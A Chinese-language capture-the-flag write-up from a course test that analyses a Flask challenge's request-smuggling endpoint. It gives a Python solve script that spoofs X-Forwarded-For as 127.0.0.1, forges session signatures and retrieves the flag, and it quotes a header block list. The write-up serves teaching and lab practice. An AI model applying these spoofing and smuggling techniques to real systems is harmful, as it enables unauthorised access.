smuggle应用层模拟请求走私

发表于 更新于 分类于 本文字数： 1.9k

课堂测试题

解题过程

使用Gemini辅助分析和写脚本

源码分析

app.py里搜索flag，发现只有路由/api/v1/data会返回flag：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/api/v1/data', methods=['GET', 'POST'])
def api_data():
    try:
        body = request.get_data(as_text=True)

        if body and '\r\n\r\n' in body:
            lines = body.split('\r\n')
            if lines and lines[0].startswith(('GET ', 'POST ')):
                smuggled_method, smuggled_path = lines[0].split(' ')[:2]
    		
            ...
                            return jsonify({
                            "status": "ok",
                            "flag": FLAG,
                            "message": "Access granted",
                            "timestamp": int(time.time())
                        }), 200

这是一个HTTP请求走私检测与利用接口。接下来分析到达这个分支的条件

  1. 需要是管理员路径，符合才会提取参数，即路径需要为’/admin/report’
1
2
3
4
5
6
ADMIN_PATH = '/admin/report'
----
if smuggled_path == ADMIN_PATH:
    smuggled_ip = smuggled_headers.get('X-Forwarded-For')
    offset_header = smuggled_headers.get(OFFSET_HEADER)
    trace_header = smuggled_headers.get(ADMIN_PROOF_HEADER)

  1. 检测并拒绝可疑的代理头

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    suspicious_headers = [
        'A-Forwarded-For', 'Forwarded-For-Bypass', 'X-Custom-Forwarded-For',
        'For-Forwarded', 'A-For-Forwarded', 'X-Forwarded-For-Original',
        'Forwarded-For', 'X-Real-IP', 'X-Client-IP', 'Client-IP',
        'X-Original-Forwarded-For', 'Forwarded', 'True-Client-IP'
    ]
        
    for sus_header in suspicious_headers:
        if sus_header in smuggled_headers:
            return jsonify({"status": "ok", "processed": False, "timestamp": int(time.time())}), 200

  2. trace_bytes是否正确

    1
    2
    3
    actual_trace_bytes = get_proxy_trace_bytes(request.headers)
    if int(offset_header) != actual_trace_bytes:
        return jsonify({"processed": False})

    其中get_proxy_trace_bytes是计算了PROXY_TRACE_HEADERS列表中的header总长

    1
    2
    3
    4
    5
    6
    def get_proxy_trace_bytes(headers):
        return sum(
            len(f"{header}: {headers.get(header)}\r\n")
            for header in PROXY_TRACE_HEADERS
            if headers.get(header)
        )

  3. 管理员ip和session验证，签名验证：is_admin_ip()检查是否是管理员ip，check_session_ready检查会话有效性，最后检查签名

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    if smuggled_ip and is_admin_ip(smuggled_ip):
        cookie_header = smuggled_headers.get('Cookie', '')
        session_token = None
        smuggled_user_id = None

        for part in cookie_header.split(';'):
            part = part.strip()
            if 'session_token=' in part:
                session_token = part.split('=', 1)[1]
            elif 'user_id=' in part:
                smuggled_user_id = part.split('=', 1)[1]

        if not check_session_ready(session_token, smuggled_user_id):
            return jsonify({"status": "ok", "processed": False, "timestamp": int(time.time())}), 200

        expected_signature = build_admin_signature(
            smuggled_user_id,
            session_token,
            actual_trace_bytes,
            smuggled_method,
            smuggled_path
        )

        if trace_header != expected_signature:
            return jsonify({"status": "ok", "processed": False, "timestamp": int(time.time())}), 200

is_admin_ip函数实际上是检查是不是内网ip。

1
2
3
4
5
6
7
8
9
10
11
12
def is_admin_ip(ip):
    if not ip:
        return False
    ip = str(ip).strip()
    if ',' in ip:
        ip = ip.split(',')[0].strip()
    return (
        ip.startswith('127.')
        or ip.startswith('10.')
        or ip.startswith('192.168.')
        or ip.startswith('172.16.')
    )

处理逻辑是先标准化，只提取第一个ip，通过ip前缀判断是否来自内网

前缀 完整范围 CIDR 类型
127. 127.0.0.0 - 127.255.255.255 127.0.0.0/8 本地回环（localhost）
10. 10.0.0.0 - 10.255.255.255 10.0.0.0/8 A类私有地址
192.168. 192.168.0.0 - 192.168.255.255 192.168.0.0/16 C类私有地址
172.16. 172.16.0.0 - 172.31.255.255 172.16.0.0/12 B类私有地址

check_session_ready的要求是session的depth需要>= 2

1
2
3
def check_session_ready(token, user_id):
    session = load_session(user_id, token)
    return bool(session and session.get('depth', 0) >= 2)

build_admin_signature用user_id、token等参数通过sha256生成管理员签名

1
2
3
def build_admin_signature(user_id, token, trace_bytes, method, path):
    seed = f"{user_id}:{token}:{trace_bytes}:{method}:{path}:admin:v2"
    return hashlib.sha256(seed.encode()).hexdigest()[:24]

要成功获取flag，需要通过上面所有检查

如何提升depth

搜索分析发现/con端点可以将depth提升到1，条件是content_length > 0，即POST报文

1
2
3
4
5
6
7
8
9
10
@app.route('/con', methods=['GET', 'POST'])
def reserved_names():
    user_id = get_user_id()
    token = create_session_token(user_id)

    content_length = request.headers.get('Content-Length')
    if content_length:
        try:
            if int(content_length) > 0:
                bump_session_depth(user_id, token, 1)

/api/v1/sync可以将depth提升到2，条件是depth >= 1和正确的router key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/api/v1/sync')
def api_sync():
    user_id = get_user_id()
    session_token = request.cookies.get('session_token')
    session = load_session(user_id, session_token)

    if not session or session.get('depth', 0) < 1:
        return jsonify({"status": "ok", "timestamp": int(time.time())}), 200

    trace_bytes = get_proxy_trace_bytes(request.headers)
    provided_key = request.headers.get(SYNC_HEADER, '')
    expected_key = build_route_key(user_id, session_token, trace_bytes)

    if provided_key == expected_key:
        bump_session_depth(user_id, session_token, 2)

    return jsonify({"status": "ok", "timestamp": int(time.time())}), 200

build_route_key逻辑如下，由此可以计算出正确的router key

1
2
3
def build_route_key(user_id, token, trace_bytes):
    seed = f"{user_id}:{token}:{trace_bytes}:sync:v2"
    return hashlib.sha256(seed.encode()).hexdigest()[:20]

计算关键变量 trace_bytes

根据 app.py 中的 PROXY_TRACE_HEADERS 列表：

1
2
3
4
5
6
PROXY_TRACE_HEADERS = [
    'X-Haproxy-Version',
    'X-Proxy-Instance',
    'X-Apache-Layer',
    'X-Backend-Route',
]

我们需要计算以下四个 Header 在经过所有代理后的总长度，这四个Header分别可以在haproxy.cfg和httpd.conf文件中找到：

Header 名称 值 (Value) 计算长度 (Key + “: “ + Value + “\r\n”) 字节数
X-Haproxy-Version “2.0.14” X-Haproxy-Version: 2.0.14\r\n 17+2+6+2 = 27
X-Proxy-Instance “frontend-01” X-Proxy-Instance: frontend-01\r\n 16+2+11+2 = 31
X-Apache-Layer “reverse-proxy” X-Apache-Layer: reverse-proxy\r\n 14+2+13+2 = 31
X-Backend-Route “layer3” X-Backend-Route: layer3\r\n 15+2+6+2 = 25
总计 (TRACE_BYTES) 27 + 31 + 31 + 25 114

所以trace_bytes应该是114

题解思路

获取session：

  1. 访问 / 获取 user_id
  2. 向 /con 发送带请求体的 POST 请求，获取 session_token

提升session的depth：

  1. 向/con端点发送POST请求，将depth提升到1

  2. 计算router key，请求/api/v1/sync，将depth提升到2

对走私的请求的构造：

  1. 请求路径为/admin/report
  2. 设置ip为127.0.0.1，trace_bytes为114
  3. 用build_admin_signature的逻辑计算出的签名

最后构造请求走私报文，提交到 /api/v1/data

需要注意一下代码要求 if body and '\r\n\r\n' in body，换行符需要很严谨地处理。题解脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import hashlib

BASE_URL = "http://124.16.75.116:52003"
TRACE_BYTES = 114

def get_hash(data, length):
    return hashlib.sha256(data.encode()).hexdigest()[:length]

s = requests.Session()

# 1. 获取 ID
s.get(f"{BASE_URL}/")
uid = s.cookies.get('user_id')
print(f"[+] User ID: {uid}")

# 2. 升级到 Depth 1
s.post(f"{BASE_URL}/con", data="level_up")
token = s.cookies.get('session_token')
print(f"[+] Session Token: {token}")

# 3. 升级到 Depth 2
route_key = get_hash(f"{uid}:{token}:{TRACE_BYTES}:sync:v2", 20)
s.get(f"{BASE_URL}/api/v1/sync", headers={'X-Route-Key': route_key})
print(f"[*] Synced depth 2")

# 4. 准备最后的打击
admin_path = "/admin/report"
method = "GET"
signature = get_hash(f"{uid}:{token}:{TRACE_BYTES}:{method}:{admin_path}:admin:v2", 24)

# 核心：构造严格符合后端 split('\r\n') 要求的二进制流
# 注意：最后必须以 \r\n\r\n 结尾
lines = [
    f"{method} {admin_path} HTTP/1.1",
    f"X-Forwarded-For: 127.0.0.1",
    f"X-Trace-Offset: {TRACE_BYTES}",
    f"X-Trace: {signature}",
    f"Cookie: user_id={uid}; session_token={token}",
    "", # 这行配合下面的 join 会产生 \r\n\r\n
    ""
]
smuggled_body = "\r\n".join(lines)

# 发送请求，注意 data 传字符串，requests 默认会处理编码
res = s.post(f"{BASE_URL}/api/v1/data", data=smuggled_body)

print("-" * 20)
print(f"[*] Full Response: {res.text}")
print(f"[!] Flag: {res.json().get('flag')}")

运行输出：

1
2
3
4
5
6
7
[+] User ID: 71fe03fb-36cb-4efd-9a30-f1778aca3593
[+] Session Token: dce62051-3988-4a6b-a3ce-7bcb237e52bb
[*] Synced depth 2
--------------------
[*] Full Response: {"flag":"flag{double_proxy_single_flag}","message":"Access granted","status":"ok","timestamp":1775734155}

[!] Flag: flag{double_proxy_single_flag}

得到flag：

1
flag{double_proxy_single_flag}

技术点总结

  1. 多层反向代理架构：多层反向代理是指在客户端与后端服务器之间部署多个中转节点。每经过一层代理，代理服务器都可能根据配置对 HTTP 报文进行修改，比如修改 X-Forwarded-For 头部以记录原始 IP，或插入自定义的追踪 ID。

  2. 权限提升状态机：状态机是一种控制逻辑，用于确保用户必须按照预设的线性或分支路径执行操作。权限提升状态机中，用户初始处于未授权状态，必须通过一系列特定的行为来触发状态迁移。只有当前状态满足目标操作的准入条件时，系统才允许执行该操作并可能将其提升至下一状态。这种设计被用于防止越权访问。

  3. 应用层模拟请求走私：请求走私本质上源于解析歧义。传统走私是由于在代理与后端对 HTTP 协议标准的实现差异，而应用层模拟走私则利用了后端应用程序在处理报文内容时的二次解析漏洞。攻击者可以在请求体中嵌入一个完整的、伪造的 HTTP 报文，后端代码可能将嵌入数据当成另一个请求来处理。这种方式通常用于绕过前端代理的路径过滤或 IP 限制。

  4. 消息摘要与数字签名：消息摘要是利用散列函数将任意长度的数据映射为固定长度的字符串，具有不可逆性和雪崩效应。而数字签名则是摘要技术的进阶应用，通常结合“盐值”或私钥进行计算。其核心目的是保证数据的完整性和不可否认性。

  5. IP 来源伪造与绕过：如果后端服务器未经校验就直接信任请求头中的 X-Forwarded-For 字段，攻击者就可以在 HTTP 请求中手动构造该头部，填入受信任的地址，从而绕过原本针对外部网络的防火墙规则或身份验证逻辑。